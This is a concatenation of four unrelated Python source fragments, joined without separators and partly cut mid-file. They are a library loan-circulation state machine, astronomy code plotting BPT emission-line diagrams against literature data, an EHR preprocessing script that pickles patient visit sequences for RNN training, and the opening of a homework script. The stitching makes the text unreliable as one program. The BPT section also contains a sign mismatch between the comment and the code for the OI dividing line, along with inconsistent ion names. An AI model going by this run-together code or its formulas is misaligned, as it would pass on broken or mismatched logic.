            raise RecordCannotBeRequestedError(description=msg)

class PendingToItemAtDesk(Transition):
    """Validate pending request to prepare the item at desk of its location."""

    def before(self, loan, initial_loan, **kwargs):
        """Validate if the item is for this location or should transit."""
        super().before(loan, initial_loan, **kwargs)

        # check if a request on document has no item attached
        _ensure_item_attached_to_loan(loan)
        # validate the item, pickup and transaction locations of the loan
        _validate_item_pickup_transaction_locations(loan, self.dest, **kwargs)

class PendingToItemInTransitPickup(Transition):
    """Validate pending request to send the item to the pickup location."""

    def before(self, loan, initial_loan, **kwargs):
        """Validate if the item is for this location or should transit."""
        super().before(loan, initial_loan, **kwargs)

        # check if a request on document has no item attached
        _ensure_item_attached_to_loan(loan)
        # validate the item, pickup and transaction locations of the loan
        _validate_item_pickup_transaction_locations(loan, self.dest, **kwargs)

class ItemOnLoanToItemOnLoan(Transition):
    """Extend action to perform a item loan extension."""

    def update_extension_count(self, loan):
        """Check number of extensions and update it."""
        extension_count = loan.get("extension_count", 0)
        extension_count += 1

        get_extension_max_count_func = current_app.config[
            "CIRCULATION_POLICIES"
        ]["extension"]["max_count"]
        extension_max_count = get_extension_max_count_func(loan)
        if extension_count > extension_max_count:
            raise LoanMaxExtensionError(
                loan_pid=loan["pid"], extension_count=extension_max_count
            )
        loan["extension_count"] = extension_count

    def update_loan_end_date(self, loan, initial_loan):
        """Update the end date of the extended loan."""
        get_extension_duration_func = current_app.config[
            "CIRCULATION_POLICIES"
        ]["extension"]["duration_default"]
        duration = get_extension_duration_func(loan, initial_loan)

        should_extend_from_end_date = current_app.config[
            "CIRCULATION_POLICIES"
        ]["extension"]["from_end_date"]
        if not should_extend_from_end_date:
            # extend from the transaction_date instead
            loan["end_date"] = loan["transaction_date"]

        loan["end_date"] += duration

    @ensure_same_item
    def before(self, loan, initial_loan, **kwargs):
        """Validate extension action."""
        super().before(loan, initial_loan, **kwargs)
        self.update_extension_count(loan)
        self.update_loan_end_date(loan, initial_loan)

class ItemOnLoanToItemInTransitHouse(Transition):
    """Check-in action when returning an item not to its belonging location."""

    @ensure_same_item
    def before(self, loan, initial_loan, **kwargs):
        """Validate check-in action."""
        super().before(loan, initial_loan, **kwargs)

        _ensure_not_same_location(
            loan["item_pid"],
            loan["transaction_location_pid"],
            self.dest,
            error_msg="Item should be returned (already in house).",
        )

class ItemOnLoanToItemReturned(Transition):
    """Check-in action when returning an item to its belonging location."""

    def __init__(
        self, src, dest, trigger="next", permission_factory=None, **kwargs
    ):
        """Constructor."""
        super().__init__(
            src,
            dest,
            trigger=trigger,
            permission_factory=permission_factory,
            **kwargs
        )
        self.assign_item = kwargs.get("assign_item", True)

    @ensure_same_item
    def before(self, loan, initial_loan, **kwargs):
        """Validate check-in action."""
        super().before(loan, initial_loan, **kwargs)
        _ensure_same_location(
            loan["item_pid"],
            loan["transaction_location_pid"],
            self.dest,
            error_msg="Item should be in transit to house.",
        )

        # set end loan date as transaction date when completing loan
        loan["end_date"] = loan["transaction_date"]

    def after(self, loan, initial_loan):
        """Check for pending requests on this item after check-in."""
        super().after(loan, initial_loan)
        if self.assign_item:
            _update_document_pending_request_for_item(loan["item_pid"])

class ItemInTransitHouseToItemReturned(Transition):
    """Check-in action when returning an item to its belonging location."""

    def __init__(
        self, src, dest, trigger="next", permission_factory=None, **kwargs
    ):
        """Constructor."""
        super().__init__(
            src,
            dest,
            trigger=trigger,
            permission_factory=permission_factory,
            **kwargs
        )
        self.assign_item = kwargs.get("assign_item", True)

    @ensure_same_item
    def before(self, loan, initial_loan, **kwargs):
        """Validate check-in action."""
        super().before(loan, initial_loan, **kwargs)

        _ensure_same_location(
            loan["item_pid"],
            loan["transaction_location_pid"],
            self.dest,
            error_msg="Item should be in transit to house.",
        )

    def after(self, loan, initial_loan):
        """Check for pending requests on this item after check-in."""
        super().after(loan, initial_loan)
        if self.assign_item:
            _update_document_pending_request_for_item(loan["item_pid"])

class ToCancelled(Transition):
    """When cancelling a loan, ensure that the item is not changed."""

    @ensure_same_item
    def before(self, loan, initial_loan, **kwargs):
        """Validate cancel action."""
        super().before(loan, initial_loan, **kwargs)


import os
import matplotlib.pyplot as plt
import numpy as np
import warnings
from uncertainties import ufloat, umath, unumpy
import fitelp.constants as constants
from fitelp.helpers import sum_dict_values

constants.init()

def get_bpt_fluxes(rp, plot_type='NII'):
    fluxes = {}
    if 'H-Alpha' in rp.emProfiles:
        if plot_type == 'SII':
            ionNameKeys = ['H-Alpha', 'OIII-5007A', 'H-Beta', 'SII-6717A', 'SII-6731A']
        elif plot_type == 'OI':
            ionNameKeys = ['H-Alpha', 'OIII-5007A', 'H-Beta', 'OI-6300A']
        elif plot_type == 'NIIvsSII':
            ionNameKeys = ['H-Alpha', 'SII-6717A', 'SII-6731A', 'H-Alpha', 'NII-6584A']
        else:
            ionNameKeys = ['NII-6584A', 'H-Alpha', 'OIII-5007A', 'H-Beta']
        ionNames = ionNameKeys
    else:
        if plot_type == 'SII':
            ionNameKeys = ['H-Alpha', 'OIII-5007A', 'H-Beta', 'SII-6717A', 'SII-6731A']
            ionNames = ['H1r_6563A', 'O3_5007A', 'H1r_4861A', 'S2_6717A', 'S2_6731A']
        elif plot_type == 'OI':
            ionNameKeys = ['H-Alpha', 'OIII-5007A', 'H-Beta', 'OI-6300A']
            ionNames = ['H1r_6563A', 'O3_5007A', 'H1r_4861A', 'O1_6300A']
        elif plot_type == 'NIIvsSII':
            ionNameKeys = ['H-Alpha', 'SII-6717A', 'SII-6731A', 'H-Alpha', 'NII-6584A']
            ionNames = ['H1r_6563A', 'S2_6717A', 'SII-6731A', 'H1r_6563A', 'N2_6584A']
        else:
            ionNameKeys = ['NII-6584A', 'H-Alpha', 'OIII-5007A', 'H-Beta']
            ionNames = ['N2_6584A', 'H1r_6563A', 'O3_5007A', 'H1r_4861A']

    for ionNameKey, ionName in zip(ionNameKeys, ionNames):
        if ionName not in rp.emProfiles:
            print("Warning: {} not added to the list of emission lines of this region".format(ionName))

        if (ionName not in rp.emProfiles and ionNameKey in ['SII-6717A', 'SII-6731A']):
            print("Using other SII line for BPT plot if available")
        else:
            fluxes[ionNameKey] = {}
            fluxes[ionNameKey]['global'] = ufloat(rp.emProfiles[ionName]['globalFlux'],
                                                  rp.emProfiles[ionName]['globalFluxErr'])
            for i in range(len(rp.emProfiles[ionName]['compFluxList'])):
                fluxes[ionNameKey][rp.componentLabels[i]] = ufloat(rp.emProfiles[ionName]['compFluxList'][i],
                                                                   rp.emProfiles[ionName]['compFluxListErr'][i])

    return fluxes

def calc_bpt_points(rp, plot_type='NII'):
    def get_SII_fluxes(fluxes, bptPoints):
        if 'SII-6717A' not in fluxes:
            xNumerator = fluxes['SII-6731A']
            bptPoints['SII_label'] = r"$\log(\mathrm{[SII]6731\AA / H\alpha})$"
        elif 'SII-6731A' not in fluxes:
            xNumerator = fluxes['SII-6717A']
            bptPoints['SII_label'] = r"$\log(\mathrm{[SII]6717\AA / H\alpha})$"
        else:
            xNumerator = sum_dict_values(fluxes['SII-6717A'], fluxes['SII-6731A'])
            bptPoints['SII_label'] = r"$\log(\mathrm{([SII]6717\AA + [SII]6731\AA) / H\alpha})$"
        return xNumerator, bptPoints

    bptPoints = {}
    try:
        fluxes = get_bpt_fluxes(rp, plot_type)
    except (KeyError, ValueError):
        print("Ion not defined for BPT plot:", plot_type)
        bptPoints['global'] = {'x': 0, 'xErr': 0, 'y': 0, 'yErr': 0}
        return bptPoints

    if plot_type == 'NII':
        xNumerator = fluxes['NII-6584A']
        xDenominator = fluxes['H-Alpha']
        yNumerator = fluxes['OIII-5007A']
        yDenominator = fluxes['H-Beta']
    elif plot_type == 'SII':
        xNumerator, bptPoints = get_SII_fluxes(fluxes, bptPoints)
        xDenominator = fluxes['H-Alpha']
        yNumerator = fluxes['OIII-5007A']
        yDenominator = fluxes['H-Beta']
    elif plot_type == 'OI':
        xNumerator = fluxes['OI-6300A']
        xDenominator = fluxes['H-Alpha']
        yNumerator = fluxes['OIII-5007A']
        yDenominator = fluxes['H-Beta']
    elif plot_type == 'NIIvsSII':
        xNumerator, bptPoints = get_SII_fluxes(fluxes, bptPoints)
        xDenominator = fluxes['H-Alpha']
        yNumerator = fluxes['NII-6584A']
        yDenominator = fluxes['H-Alpha']
    else:
        warnings.warn("Invalid BPT plot_type {}, using plot_type 'NII' instead.".format(plot_type))
        xNumerator = fluxes['NII-6584A']

    compList = ['global'] + list(fluxes['H-Alpha'].keys())
    for comp in compList:
        bptPoints[comp] = {}
        if xNumerator[comp] >= 0 and xDenominator[comp] >= 0 and yNumerator[comp] >= 0 and yDenominator[comp] >= 0:
            ratioX = umath.log10(xNumerator[comp] / xDenominator[comp])
            ratioY = umath.log10(yNumerator[comp] / yDenominator[comp])
            bptPoints[comp]['x'] = ratioX.nominal_value
            bptPoints[comp]['xErr'] = ratioX.std_dev
            bptPoints[comp]['y'] = ratioY.nominal_value
            bptPoints[comp]['yErr'] = ratioY.std_dev
        else:
            warnings.warn("Cannot compute BPT diagram as some component fluxes are negative")
            bptPoints[comp]['x'] = None
            bptPoints[comp]['xErr'] = None
            bptPoints[comp]['y'] = None
            bptPoints[comp]['yErr'] = None

    return bptPoints

def bpt_plot(rpList, rpBptPoints, globalOnly=False, plot_type='NII'):
    if plot_type == 'NII':
        bpt_plot_NII(rpList, rpBptPoints, globalOnly)
    elif plot_type == 'SII':
        bpt_plot_SII(rpList, rpBptPoints, globalOnly)
    elif plot_type == 'OI':
        bpt_plot_OI(rpList, rpBptPoints, globalOnly)
    elif plot_type == 'NIIvsSII':
        bpt_plot_NIIvsSII(rpList, rpBptPoints, globalOnly)
    else:
        warnings.warn("Invalid BPT plot_type {}, using plot_type 'NII' instead.".format(plot_type))
        bpt_plot_NII(rpList, rpBptPoints, globalOnly)

def bpt_plot_NII(rpList, rpBptPoints, globalOnly=False):
    plot_lines_and_other_points_NII()

    # PLOT BPT POINTS
    colours = ['b', 'r', 'g', 'm', 'c', 'violet', 'y', '#5D6D7E']
    markers = ['o', 's', 'x', 'p', '*', 'D', '8', '>']

    for i in range(len(rpList)):
        bptPoints = rpBptPoints[i]
        if globalOnly:
            compList = ['global']
        else:
            compList = list(bptPoints.keys())
            if 'SII_label' in compList:
                compList.remove('SII_label')

        for j, comp in enumerate(compList):
            x, xErr, y, yErr = bptPoints[comp]['x'], bptPoints[comp]['xErr'], bptPoints[comp]['y'], bptPoints[comp][
                'yErr']
            if (x, y) != (0, 0):
                label = "{0}_{1}".format(rpList[i].regionName, comp)
                plt.scatter(x, y, marker=markers[i], label=label)  # , color=colours[j])
                plt.errorbar(x=x, y=y, xerr=xErr, yerr=yErr)  # , ecolor=colours[j])
                # plt.annotate(label, xy=(x, y), xytext=(30, 5), textcoords='offset points', ha='right', va='bottom', color=colours[j], fontsize=8)

    # PLOT AND SAVE FIGURE
    plt.xlim(-1.5, 0.5)
    plt.ylim(-1, 1.5)
    plt.xlabel(r"$\log(\mathrm{[NII]6584\AA / H\alpha})$")
    plt.ylabel(r"$\log(\mathrm{[OIII]5007\AA / H\beta})$")
    plt.legend(fontsize=9)
    plt.savefig(os.path.join(constants.OUTPUT_DIR, 'bpt_NII.png'))

def bpt_plot_SII(rpList, rpBptPoints, globalOnly=False):
    plot_lines_and_other_points_SII()

    # PLOT BPT POINTS
    colours = ['b', 'r', 'g', 'm', 'c', 'violet', 'y', '#5D6D7E']
    markers = ['o', 's', 'x', 'p', '*', 'D', '8', '>']

    for i in range(len(rpList)):
        bptPoints = rpBptPoints[i]
        if globalOnly:
            compList = ['global']
        else:
            compList = list(bptPoints.keys())
            if 'SII_label' in compList:
                SII_label = bptPoints['SII_label']
                compList.remove('SII_label')

        for j, comp in enumerate(compList):
            x, xErr, y, yErr = bptPoints[comp]['x'], bptPoints[comp]['xErr'], bptPoints[comp]['y'], bptPoints[comp][
                'yErr']
            if (x, y) != (0, 0):
                label = "{0}_{1}".format(rpList[i].regionName, comp)
                plt.scatter(x, y, marker=markers[i], label=label)  # , color=colours[j])
                plt.errorbar(x=x, y=y, xerr=xErr, yerr=yErr)  # , ecolor=colours[j])
                # plt.annotate(label, xy=(x, y), xytext=(30, 5), textcoords='offset points', ha='right', va='bottom', color=colours[j], fontsize=8)

    # PLOT AND SAVE FIGURE
    plt.xlim(-1.5, 0.5)
    plt.ylim(-1, 1.5)
    plt.xlabel(SII_label)
    plt.ylabel(r"$\log(\mathrm{[OIII]5007\AA / H\beta})$")
    plt.legend(fontsize=9)
    plt.savefig(os.path.join(constants.OUTPUT_DIR, 'bpt_SII.png'))

def bpt_plot_OI(rpList, rpBptPoints, globalOnly=False):
    plot_lines_and_other_points_OI()

    # PLOT BPT POINTS
    colours = ['b', 'r', 'g', 'm', 'c', 'violet', 'y', '#5D6D7E']
    markers = ['o', 's', 'x', 'p', '*', 'D', '8', '>']

    for i in range(len(rpList)):
        bptPoints = rpBptPoints[i]
        if globalOnly:
            compList = ['global']
        else:
            compList = list(bptPoints.keys())
            if 'SII_label' in compList:
                compList.remove('SII_label')

        for j, comp in enumerate(compList):
            x, xErr, y, yErr = bptPoints[comp]['x'], bptPoints[comp]['xErr'], bptPoints[comp]['y'], bptPoints[comp][
                'yErr']
            if (x, y) != (0, 0):
                label = "{0}_{1}".format(rpList[i].regionName, comp)
                plt.scatter(x, y, marker=markers[i], label=label)  # , color=colours[j])
                plt.errorbar(x=x, y=y, xerr=xErr, yerr=yErr)  # , ecolor=colours[j])
                # plt.annotate(label, xy=(x, y), xytext=(30, 5), textcoords='offset points', ha='right', va='bottom', color=colours[j], fontsize=8)

    # PLOT AND SAVE FIGURE
    plt.xlim(-1.5, 0.5)
    plt.ylim(-0.5, 1.5)
    plt.xlabel(r"$\log(\mathrm{[OI]6300\AA / H\alpha})$")
    plt.ylabel(r"$\log(\mathrm{[OIII]5007\AA / H\beta})$")
    plt.legend(fontsize=9)
    plt.savefig(os.path.join(constants.OUTPUT_DIR, 'bpt_OI.png'))

def bpt_plot_NIIvsSII(rpList, rpBptPoints, globalOnly=False):
    plot_lines_and_other_points_NIIvsSII()

    # PLOT BPT POINTS
    colours = ['b', 'r', 'g', 'm', 'c', 'violet', 'y', '#5D6D7E']
    markers = ['o', 's', 'x', 'p', '*', 'D', '8', '>']

    for i in range(len(rpList)):
        bptPoints = rpBptPoints[i]
        if globalOnly:
            compList = ['global']
        else:
            compList = list(bptPoints.keys())
            if 'SII_label' in compList:
                compList.remove('SII_label')

        for j, comp in enumerate(compList):
            x, xErr, y, yErr = bptPoints[comp]['x'], bptPoints[comp]['xErr'], bptPoints[comp]['y'], bptPoints[comp][
                'yErr']
            if (x, y) != (0, 0):
                label = "{0}_{1}".format(rpList[i].regionName, comp)
                plt.scatter(x, y, marker=markers[i], label=label)  # , color=colours[j])
                plt.errorbar(x=x, y=y, xerr=xErr, yerr=yErr)  # , ecolor=colours[j])
                # plt.annotate(label, xy=(x, y), xytext=(30, 5), textcoords='offset points', ha='right', va='bottom', color=colours[j], fontsize=8)

    # PLOT AND SAVE FIGURE
    # plt.xlim(-1.5, 0.5)
    # plt.ylim(-0.5, 1.5)

    plt.xlabel(bptPoints['SII_label'])
    plt.ylabel(r"$\log(\mathrm{[NII]6584\AA / H\alpha})$")
    plt.legend(fontsize=9)
    plt.savefig(os.path.join(constants.OUTPUT_DIR, 'bpt_NIIvsSII.png'))

def plot_lines_and_other_points_NII():
    # PLOT LINES
    plt.figure('BPT_NII')
    # y1: log([OIII]5007/Hbeta) = 0.61 / (log([NII]6584/Halpha) - 0.05) + 1.3  (curve of Kauffmann+03 line)
    # y2: log([OIII]5007/Hbeta) = 0.61 / (log([NII]6584/Halpha) - 0.47) + 1.19    (curve of Kewley+01 line)
    x1 = np.arange(-2, 0.02, 0.01)
    y1 = 0.61 / (x1 - 0.05) + 1.3
    x2 = np.arange(-2, 0.44, 0.01)
    y2 = 0.61 / (x2 - 0.47) + 1.19
    plt.plot(x1, y1, 'k--')
    plt.plot(x2, y2, 'k--')

    # AREA LABELS
    plt.text(-1.25, -0.5, r'Photoionization', fontsize=12)
    plt.text(0.05, 0.55, r'Shocks', fontsize=12)
    # plt.text(-1, -0.8, r'Starburst', fontsize=12)
    # plt.text(-0.22, -0.75, r'Transition', fontsize=12)
    # plt.text(-0.18, -0.9, r'Objects', fontsize=12)
    # plt.text(0.16, -0.5, r'LINERs', fontsize=12)
    # plt.text(0.05, 0.55, r'Seyferts', fontsize=12)
    # plt.text(-1.46, 1.1, r'Extreme Starburst Line', fontsize=12)

    # OTHER POINTS FROM PAPER
    # Olave et al., 2015 (regions of NGC6845)
    hBetaAbs = [0.025, 0.033, 0.007, 0.084, 0.632, 0.075, 0.015, 0.082, 0.013, 0.038, 0.078, 0.055, 0.008, 0.021, 0.894,
                0.408, 0.052, 0.009, 0.024, 0.007, 0.012]
    hBetaErr = [0.011, 0.027, 0.003, 0.019, 0.03, 0.022, 0.009, 0.017, 0.004, 0.017, 0.019, 0.016, 0.006, 0.013, 0.08,
                0.026, 0.014, 0.004, 0.014, 0.003, 0.008]
    oIII5007Abs = [0.035, 0.092, 0.036, 0.473, 4.651, 0.134, 0.021, 0.183, 0.02, 0.068, 0.135, 0.082, 0.018, 0.014,
                   0.672, 0.503, 0.038, 0.008, 0.036, 0.013, 0.028]
    oIII5007Err = [0.012, 0.025, 0.029, 0.247, 0.698, 0.027, 0.013, 0.015, 0.007, 0.018, 0.023, 0.018, 0.007, 0.008,
                   0.072, 0.028, 0.006, 0.004, 0.014, 0.007, 0.016]
    hAlphaAbs = [0.069, 0.102, 0.032, 0.377, 3.011, 0.224, 0.05, 0.256, 0.046, 0.111, 0.246, 0.172, 0.027, 0.062, 3.3,
                 1.66, 0.161, 0.013, 0.062, 0.015, 0.035]
    hAlphaErr = [0.01, 0.025, 0.011, 0.029, 0.452, 0.032, 0.015, 0.034, 0.019, 0.024, 0.035, 0.027, 0.013, 0.019, 0.204,
                 0.14, 0.02, 0.01, 0.017, 0.008, 0.012]
    nII6584Abs = [0.011, 0.014, 0.007, 0.04, 0.227, 0.036, 0.009, 0.033, 0.01, 0.022, 0.041, 0.036, 0.006, 0.021, 1.064,
                  0.48, 0.056, 0.003, 0.011, 0.003, 0.004]
    nII6584Err = [0.005, 0.009, 0.006, 0.016, 0.024, 0.017, 0.007, 0.013, 0.004, 0.011, 0.016, 0.012, 0.003, 0.012,
                  0.062, 0.033, 0.014, 0.002, 0.007, 0.003, 0.003]
    hBeta = (unumpy.uarray(hBetaAbs, hBetaErr))
    oIII5007 = unumpy.uarray(oIII5007Abs, oIII5007Err)
    hAlpha = unumpy.uarray(hAlphaAbs, hAlphaErr)
    nII6584 = unumpy.uarray(nII6584Abs, nII6584Err)

    ratioNII = unumpy.log10(nII6584 / hAlpha)
    ratioOIII = unumpy.log10(oIII5007 / hBeta)
    x = unumpy.nominal_values(ratioNII)
    xErr = unumpy.std_devs(ratioNII)
    y = unumpy.nominal_values(ratioOIII)
    yErr = unumpy.std_devs(ratioOIII)

    plt.scatter(x, y, marker='s', color='grey', alpha=0.3, label="Olave et al. 2015")
    plt.errorbar(x, y, xerr=xErr, yerr=yErr, color='grey', ecolor='grey', elinewidth=0.5, fmt='none', alpha=0.3)

def plot_lines_and_other_points_SII():
    # https://sites.google.com/site/agndiagnostics/home/bpt

    # PLOT LINES
    plt.figure('BPT_SII')
    # y1: log([OIII]/Hb) = 0.72 / (log([SII]/Ha) - 0.32) + 1.30    (main AGN line)
    # y2: log([OIII]/Hb) = 1.89 log([SII]/Ha) + 0.76   (LINER/Sy2 line)
    x1 = np.arange(-2, 0.02, 0.01)
    y1 = 0.72 / (x1 - 0.32) + 1.30
    x2 = np.arange(-0.314613, 0.44, 0.01)
    y2 = 1.89 * x2 + 0.76
    plt.plot(x1, y1, 'k--')
    plt.plot(x2, y2, 'k--')

    # AREA LABELS
    plt.text(-1, -0.8, r'HII-Like Objects', fontsize=12)
    plt.text(0.1, 0., r'LINERs', fontsize=12)
    plt.text(-0.5, 0.55, r'AGNs', fontsize=12)

def plot_lines_and_other_points_OI():
    # PLOT LINES
    plt.figure('BPT_OI')
    # y1: log([OIII]/Hb) = 0.73 / (log([OI]/Ha) + 0.59) + 1.33    (main AGN line)
    # y2: log([OIII]/Hb) = 1.18 log([OI]/Ha) + 1.30  (LINER/Sy2 line)
    x1 = np.arange(-2, 0.25, 0.01)
    y1 = 0.73 / (x1 - 0.59) + 1.33
    x2 = np.arange(-0.53, 0.44, 0.01)
    y2 = 1.18 * x2 + 1.30
    plt.plot(x1, y1, 'k--')
    plt.plot(x2, y2, 'k--')

    # AREA LABELS
    plt.text(-1, 0., r'HII-Like Objects', fontsize=12)
    plt.text(0., 0.5, r'LINERs', fontsize=12)
    plt.text(-0.6, 1., r'AGNs', fontsize=12)

def plot_lines_and_other_points_NIIvsSII():
    # PLOT LINES
    plt.figure('BPT_NIIvsSII')


'''
Lrasmy@Zhilab  Jan 2021

# This script processes originally extracted data on a distributed platform
# This code version create data with multiple labels for both survival and Binary classification can create files for a predefined split of patients or can randomly split
# also it can build upon existing typoes dictionary or creates its own
# and builds pickled lists including a full list that includes all information for case and controls
## it outputs pickled list of the following shape
#[[pt1_id,label,[
#                  [[delta_time 0],[list of Medical codes in Visit0]],
#                  [[delta_time between V0 and V1],[list of Medical codes in Visit2]],
#                   ......]],
# [pt2_id,label,[[[delta_time 0],[list of Medical codes in Visit0 ]],[[delta_time between V0 and V1],[list of Medical codes in Visit2]],......]]]
#
# This version is for multiple outcomes prediction, therefore the label looks like ['mort_label','LOS','vent_label','time_to_intub','Readmission_label','plos_label']; please note the LOS is equivalent to time to event for in-hospital mortality event.
#
# Usage: feed this script with Case file and Control files each is just a three columns like pt_id | medical_code | visit_date and execute like:
#
# python data_preprocessing_v5.py <Data File> <labels File> <types dictionary if available,otherwise use 'NA' to build new one> <output Files Prefix> <path and prefix to pts file if available,otherwise use 'NA' for random slit into 7:1:2, or 'nosplit' for avoid splitting>
# you can optionally activate <case_samplesize> <control_samplesize> based on your cohort definition
# This file will later split the data to training , validation and Test sets of ratio
# Output files include
# <output file>.pts: List of unique Patient ids. Created for validation and comparison purposes
# <output file>.types: Python dictionary that maps string diagnosis codes to integer diagnosis codes.
# Main output files for the baseline RNN models are <output file>.combined
'''

import sys
from optparse import OptionParser
try:
    import cPickle as pickle
except:
    import pickle
import numpy as np
import random
import pandas as pd
from datetime import datetime as dt
from datetime import timedelta
import glob
#import timeit ( for time tracking if required)

if __name__ == '__main__':

    dataFile= sys.argv[1]
    labelFile= sys.argv[2]
    typeFile= sys.argv[3]
    outFile = sys.argv[4]
    pts_file_pre = sys.argv[5]
    #cls_type= sys.argv[6]
    #samplesize_pts = int(sys.argv[7])
    parser = OptionParser()
    (options, args) = parser.parse_args()

    #_start = timeit.timeit()
    debug=False
    #np.random.seed(1)
    time_list = []
    dates_list =[]
    label_list = []
    pt_list = []

    ## loading Case
    print('loading data')
    ##### please uncomment glob lines for distributed data
    #all_files1 = glob.glob(dataFile + "/*.csv")
    #li1 = []
    #for filename in all_files1:
    #    df = pd.read_csv(filename)
    #    li1.append(df)
    #data_dat = pd.concat(li1).drop_duplicates()
    data_dat=pd.read_table(dataFile)
    data_dat.columns = ["Pt_id", "ICD", "Time"]

    #data_dat=data_dat[~(data_dat["ICD"].str.startswith('SNOMED') |data_dat["ICD"].str.startswith('L'))] ### use if you need to exclude or include only certain type of codes

    print('loaded data for: ',data_dat["Pt_id"].nunique())

    print('loading labels')

    #all_files = glob.glob(labelFile + "/*.csv")
    #li = []
    #for filename in all_files:
    #    df = pd.read_csv(filename)
    #    li.append(df)
    #data_lbl_v1 = pd.concat(li).drop_duplicates()
    data_lbl_v1=pd.read_table(labelFile)
    data_lbl_v1.columns = ["Pt_id", "mort_label","LOS","vent_label","time_to_intub","Readmission_label","plos_label"]
    data_lbl=pd.merge(data_dat["Pt_id"].drop_duplicates(),data_lbl_v1, how='inner').drop_duplicates()
    print('loaded labels for: ',data_lbl_v1["Pt_id"].nunique() , ' after primary cleaning ',data_lbl["Pt_id"].nunique())
    print('Mortality Case counts: ',data_lbl[data_lbl["mort_label"]==1]["Pt_id"].nunique())
    print('Intubation Case counts: ',data_lbl[data_lbl["vent_label"]==1]["Pt_id"].nunique())
    print('Intubation Case with tti >=1 : ',data_lbl[(data_lbl["vent_label"]==1)& (data_lbl["time_to_intub"]>=1)]["Pt_id"].nunique())
    print('LOS>7 : ',data_lbl[data_lbl["LOS"]>7]["Pt_id"].nunique())
    print('pLOS>7 : ',data_lbl[data_lbl["plos_label"]==1]["Pt_id"].nunique())
    print('Readmission case counts : ',data_lbl[data_lbl["Readmission_label"]==1]["Pt_id"].nunique())

    ### An example of sampling code: Control Sampling
    #print('pt sampling')
    #data_sk=data_dat["Pt_id"]
    #data_sk=data_sk.drop_duplicates()
    #data_sk_samp=data_sk.sample(n=samplesize_pts) ## that is an input arg 7
    #data_dat=data_dat[data_dat["Pt_id"].isin(data_sk_samp.values.tolist())]
    #data_lbl=data_lbl[data_lbl["Pt_id"].isin(data_sk_samp.values.tolist())]

    ## loading the types
    #### If using pretrained models, you should start from the shared types file

    if typeFile=='NA':
       types={"zero_pad":0}
       print('new types dictionary')
    else:
      with open(typeFile, 'rb') as t2:
             types=pickle.load(t2)
      print('types dictionary loaded')

    #end_time = timeit.timeit()
    #print ("consumed time for data loading",(_start -end_time)/1000.0 )

    full_list=[]
    index_date = {}
    time_list = []
    dates_list =[]
    label_list = []
    pt_list = []
    dur_list=[]
    newVisit_list = []
    count=0

    for Pt, group in data_dat.groupby('Pt_id'):
            data_i_c = []
            data_dt_c = []
            for Time, subgroup in group.sort_values(['Time'], ascending=False).groupby('Time', sort=False): ### ascending=True normal order ascending=False reveresed order
                        data_i_c.append(np.array(subgroup['ICD']).tolist())
                        data_dt_c.append(dt.strptime(Time, '%Y-%m-%d'))
            if len(data_i_c) > 0:
                 # creating the duration in days between visits list, first visit marked with 0   (last in reversed order)
                    v_dur_c=[]
            if len(data_dt_c)<=1:
                     v_dur_c=[0]
            else:
                     for jx in range (len(data_dt_c)):
                        if jx==0:
                             v_dur_c.append(jx)
                        else:
                            #xx = ((dt.strptime(data_dt_c[jx-1], '%d-%b-%y'))-(dt.strptime(data_dt_c[jx], '%d-%b-%y'))).days ## use if original data have time information or different date format
                            #xx = (data_dt_c[jx]- data_dt_c[jx-1]).days ### normal order
                            xx = (data_dt_c[jx-1] - data_dt_c[jx]).days ## reversed order
                            v_dur_c.append(xx)

            ### Diagnosis recoding
            newPatient_c = []
            for visit in data_i_c:
                      newVisit_c = []
                      for code in visit:
                                    if code in types: newVisit_c.append(types[code])
                                    else:
                                          types[code] = max(types.values())+1
                                          newVisit_c.append(types[code])
                      newPatient_c.append(newVisit_c)

            if len(data_i_c) > 0: ## only save non-empty entries
                  label_list.append(data_lbl.loc[data_lbl.Pt_id == Pt, ['mort_label','LOS','vent_label','time_to_intub','Readmission_label','plos_label']].values.squeeze().tolist())  #### LR ammended for multilabel
                  pt_list.append(Pt)
                  newVisit_list.append(newPatient_c)
                  dur_list.append(v_dur_c)

            count=count+1
            if count % 1000 == 0: print ('processed %d pts' % count)

    ### Creating the full pickled lists ### uncomment if you need to dump the all data before splitting

    pickle.dump(types, open(outFile+'.types', 'wb'), -1)

    ### Create the combined list for the Pytorch RNN
    fset=[]
    print ('Reparsing')
    for pt_idx in range(len(pt_list)):
                pt_sk= pt_list[pt_idx]
                pt_lbl= label_list[pt_idx]
                pt_vis= newVisit_list[pt_idx]
                pt_td= dur_list[pt_idx]
                d_gr=[]
                n_seq=[]
                d_a_v=[]
                for v in range(len(pt_vis)):
                        nv=[]
                        nv.append([pt_td[v]])
                        nv.append(pt_vis[v])
                        n_seq.append(nv)
                n_pt= [pt_sk,pt_lbl,n_seq]
                fset.append(n_pt)

    ### Random split to train ,test and validation sets, if needed
    print ("Splitting")

    if pts_file_pre=='nosplit':
      nptfile = outFile +'.pts.all'
      pickle.dump(pt_list, open(nptfile, 'wb'),protocol=2)
      filename_all=outFile+'.combined.all'
      pickle.dump(fset, open(filename_all, 'wb'), -1)

    else:
      if pts_file_pre=='NA':
          print('random split')
          dataSize = len(pt_list)
          #np.random.seed(0)
          ind = np.random.permutation(dataSize)
          nTest = int(0.2 * dataSize)
          nValid = int(0.1 * dataSize)
          test_indices = ind[:nTest]
          valid_indices = ind[nTest:nTest+nValid]
          train_indices = ind[nTest+nValid:]
      else:
          print ('loading previous splits')
          pt_train=pickle.load(open(pts_file_pre+'.train', 'rb'))
          pt_valid=pickle.load(open(pts_file_pre+'.valid', 'rb'))
          pt_test=pickle.load(open(pts_file_pre+'.test', 'rb'))
          test_indices = np.intersect1d(pt_list, pt_test,assume_unique=True, return_indices=True)[1]
          valid_indices= np.intersect1d(pt_list, pt_valid,assume_unique=True, return_indices=True)[1]
          train_indices= np.intersect1d(pt_list, pt_train,assume_unique=True, return_indices=True)[1]

      for subset in ['train','valid','test']:
          if subset =='train':
              indices = train_indices
          elif subset =='valid':
              indices = valid_indices
          elif subset =='test':
              indices = test_indices
          else:
              print ('error')
              break

          ### split the full combined set to the same as individual files
          #### only using Pts file for later, so dumping them

          subset_p = [pt_list[i] for i in indices]
          nptfile = outFile +'.pts.'+subset
          pickle.dump(subset_p, open(nptfile, 'wb'),protocol=2)
          subset_nfull = [fset[i] for i in indices]
          csfilename=outFile+'.combined.'+subset
          pickle.dump(subset_nfull, open(csfilename, 'wb'), -1)


"""
Homework for OCN506, Glover, 5/4/2020
"""

#imports
import sys, os
sys.path.append('shared')
import numpy as np
import pickle
import numpy.matlib
import my_module as mm
import matplotlib.pyplot as plt
import argparse

# use argparse to provide user input (practice!)
parser = argparse.ArgumentParser()
